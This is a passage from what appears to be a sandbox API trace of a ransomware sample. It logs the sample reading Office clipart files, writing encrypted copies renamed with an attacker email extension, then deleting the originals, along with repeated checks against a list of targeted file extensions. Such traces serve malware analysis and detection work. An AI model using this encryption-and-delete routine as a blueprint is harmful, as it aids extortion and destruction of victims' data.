lpNewFilePointer=0x0) returned 1 [0129.430] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0129.430] GetLastError () returned 0x0 [0129.430] ReadFile (in: hFile=0x3d0, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x670, lpOverlapped=0x0) returned 1 [0129.441] WriteFile (in: hFile=0x374, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x680, lpOverlapped=0x0) returned 1 [0129.442] ReadFile (in: hFile=0x3d0, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0129.442] WriteFile (in: hFile=0x374, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0129.442] SetEndOfFile (hFile=0x374) returned 1 [0129.442] CloseHandle (hObject=0x374) returned 1 [0129.442] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.442] SetEndOfFile (hFile=0x3d0) returned 1 [0129.456] CloseHandle (hObject=0x3d0) returned 1 [0129.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0129.457] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 1 [0129.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0129.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0129.457] lstrlenW (lpString=".doc") returned 4 [0129.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0129.457] lstrlenW (lpString=".docx") returned 5 [0129.457] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0129.457] lstrlenW (lpString=".pdf") returned 4 [0129.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0129.457] lstrlenW (lpString=".xls") returned 4 [0129.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0129.457] lstrlenW (lpString=".xlsx") returned 5 [0129.458] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0129.458] lstrlenW (lpString=".ppt") returned 4 [0129.458] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0129.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0129.458] lstrlenW (lpString=".zip") returned 4 [0129.458] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0129.458] lstrlenW (lpString=".rar") returned 4 [0129.458] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0129.458] lstrlenW (lpString=".bz2") returned 4 [0129.458] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0129.458] lstrlenW (lpString=".7z") returned 3 [0129.458] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0129.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0129.458] lstrlenW (lpString=".dbf") returned 4 [0129.458] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0129.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0129.458] lstrlenW (lpString=".1cd") returned 4 [0129.458] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0129.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0129.458] lstrlenW (lpString=".jpg") returned 4 [0129.458] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0129.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0129.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0129.458] lstrlenW (lpString=".doc") returned 4 [0129.458] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0129.458] lstrlenW (lpString=".docx") returned 5 [0129.458] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0129.458] lstrlenW (lpString=".pdf") returned 4 [0129.458] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0129.458] lstrlenW (lpString=".xls") returned 4 [0129.458] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0129.458] lstrlenW (lpString=".xlsx") returned 5 [0129.458] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0129.458] lstrlenW (lpString=".ppt") returned 4 [0129.458] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0129.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0129.459] lstrlenW (lpString=".zip") returned 4 [0129.459] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0129.459] lstrlenW (lpString=".rar") returned 4 [0129.459] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0129.459] lstrlenW (lpString=".bz2") returned 4 [0129.459] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0129.459] lstrlenW (lpString=".7z") returned 3 [0129.459] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0129.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0129.459] lstrlenW (lpString=".dbf") returned 4 [0129.459] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0129.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0129.459] lstrlenW (lpString=".1cd") returned 4 [0129.459] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0129.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0129.459] lstrlenW (lpString=".jpg") returned 4 [0129.459] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0129.459] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0129.459] lstrlenW (lpString="FD02161_.WMF") returned 12 [0129.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0129.460] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=3128) returned 1 [0129.460] CloseHandle (hObject=0x3d0) returned 1 [0129.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x220 [0129.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0129.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0129.460] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.460] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0129.461] GetLastError () returned 0x0 [0129.461] ReadFile (in: hFile=0x3d0, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0xc38, lpOverlapped=0x0) returned 1 [0129.537] WriteFile (in: hFile=0x374, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xc40, lpOverlapped=0x0) returned 1 [0129.538] ReadFile (in: hFile=0x3d0, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0129.538] WriteFile (in: hFile=0x374, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0129.538] SetEndOfFile (hFile=0x374) returned 1 [0129.538] CloseHandle (hObject=0x374) returned 1 [0129.539] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.539] SetEndOfFile (hFile=0x3d0) returned 1 [0129.541] CloseHandle (hObject=0x3d0) returned 1 [0129.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0130.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 1 [0130.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0130.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0130.050] lstrlenW (lpString=".doc") returned 4 [0130.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.050] lstrlenW (lpString=".docx") returned 5 [0130.050] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.050] lstrlenW (lpString=".pdf") returned 4 [0130.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.050] lstrlenW (lpString=".xls") returned 4 [0130.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.051] lstrlenW (lpString=".xlsx") returned 5 [0130.051] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.051] lstrlenW (lpString=".ppt") returned 4 [0130.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0130.051] lstrlenW (lpString=".zip") returned 4 [0130.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.051] lstrlenW (lpString=".rar") returned 4 [0130.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.051] lstrlenW (lpString=".bz2") returned 4 [0130.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.051] lstrlenW (lpString=".7z") returned 3 [0130.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0130.051] lstrlenW (lpString=".dbf") returned 4 [0130.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0130.051] lstrlenW (lpString=".1cd") returned 4 [0130.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0130.051] lstrlenW (lpString=".jpg") returned 4 [0130.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0130.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0130.051] lstrlenW (lpString=".doc") returned 4 [0130.051] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.051] lstrlenW (lpString=".docx") returned 5 [0130.051] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.051] lstrlenW (lpString=".pdf") returned 4 [0130.051] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.051] lstrlenW (lpString=".xls") returned 4 [0130.051] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.051] lstrlenW (lpString=".xlsx") returned 5 [0130.051] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.051] lstrlenW (lpString=".ppt") returned 4 [0130.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0130.052] lstrlenW (lpString=".zip") returned 4 [0130.052] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.052] lstrlenW (lpString=".rar") returned 4 [0130.052] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.052] lstrlenW (lpString=".bz2") returned 4 [0130.052] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.052] lstrlenW (lpString=".7z") returned 3 [0130.052] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0130.052] lstrlenW (lpString=".dbf") returned 4 [0130.052] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0130.052] lstrlenW (lpString=".1cd") returned 4 [0130.052] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0130.052] lstrlenW (lpString=".jpg") returned 4 [0130.052] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.052] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0130.052] lstrlenW (lpString="HH00057_.WMF") returned 12 [0130.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0130.238] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=3764) returned 1 [0130.238] CloseHandle (hObject=0x4a4) returned 1 [0130.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x220 [0130.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0130.567] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.567] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0130.568] GetLastError () returned 0x0 [0130.568] ReadFile (in: hFile=0x4a4, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0xeb4, lpOverlapped=0x0) returned 1 [0130.569] WriteFile (in: hFile=0x4a8, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec0, lpOverlapped=0x0) returned 1 [0130.570] ReadFile (in: hFile=0x4a4, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0130.570] WriteFile (in: hFile=0x4a8, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0130.570] SetEndOfFile (hFile=0x4a8) returned 1 [0130.571] CloseHandle (hObject=0x4a8) returned 1 [0130.571] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.571] SetEndOfFile (hFile=0x4a4) returned 1 [0130.573] CloseHandle (hObject=0x4a4) returned 1 [0130.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0130.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 1 [0130.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0130.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0130.574] lstrlenW (lpString=".doc") returned 4 [0130.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.574] lstrlenW (lpString=".docx") returned 5 [0130.574] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.574] lstrlenW (lpString=".pdf") returned 4 [0130.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.574] lstrlenW (lpString=".xls") returned 4 [0130.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.574] lstrlenW (lpString=".xlsx") returned 5 [0130.574] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.574] lstrlenW (lpString=".ppt") returned 4 [0130.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0130.574] lstrlenW (lpString=".zip") returned 4 [0130.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.574] lstrlenW (lpString=".rar") returned 4 [0130.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.574] lstrlenW (lpString=".bz2") returned 4 [0130.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.574] lstrlenW (lpString=".7z") returned 3 [0130.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0130.574] lstrlenW (lpString=".dbf") returned 4 [0130.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0130.574] lstrlenW (lpString=".1cd") returned 4 [0130.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0130.574] lstrlenW (lpString=".jpg") returned 4 [0130.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0130.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0130.575] lstrlenW (lpString=".doc") returned 4 [0130.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.575] lstrlenW (lpString=".docx") returned 5 [0130.575] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.575] lstrlenW (lpString=".pdf") returned 4 [0130.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.575] lstrlenW (lpString=".xls") returned 4 [0130.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.575] lstrlenW (lpString=".xlsx") returned 5 [0130.575] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.575] lstrlenW (lpString=".ppt") returned 4 [0130.575] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0130.575] lstrlenW (lpString=".zip") returned 4 [0130.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.575] lstrlenW (lpString=".rar") returned 4 [0130.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.575] lstrlenW (lpString=".bz2") returned 4 [0130.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.575] lstrlenW (lpString=".7z") returned 3 [0130.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0130.575] lstrlenW (lpString=".dbf") returned 4 [0130.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0130.575] lstrlenW (lpString=".1cd") returned 4 [0130.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0130.575] lstrlenW (lpString=".jpg") returned 4 [0130.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.576] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0130.576] lstrlenW (lpString="HH00260_.WMF") returned 12 [0130.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0130.576] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=3662) returned 1 [0130.576] CloseHandle (hObject=0x4a4) returned 1 [0130.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x220 [0130.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0130.577] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.577] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft 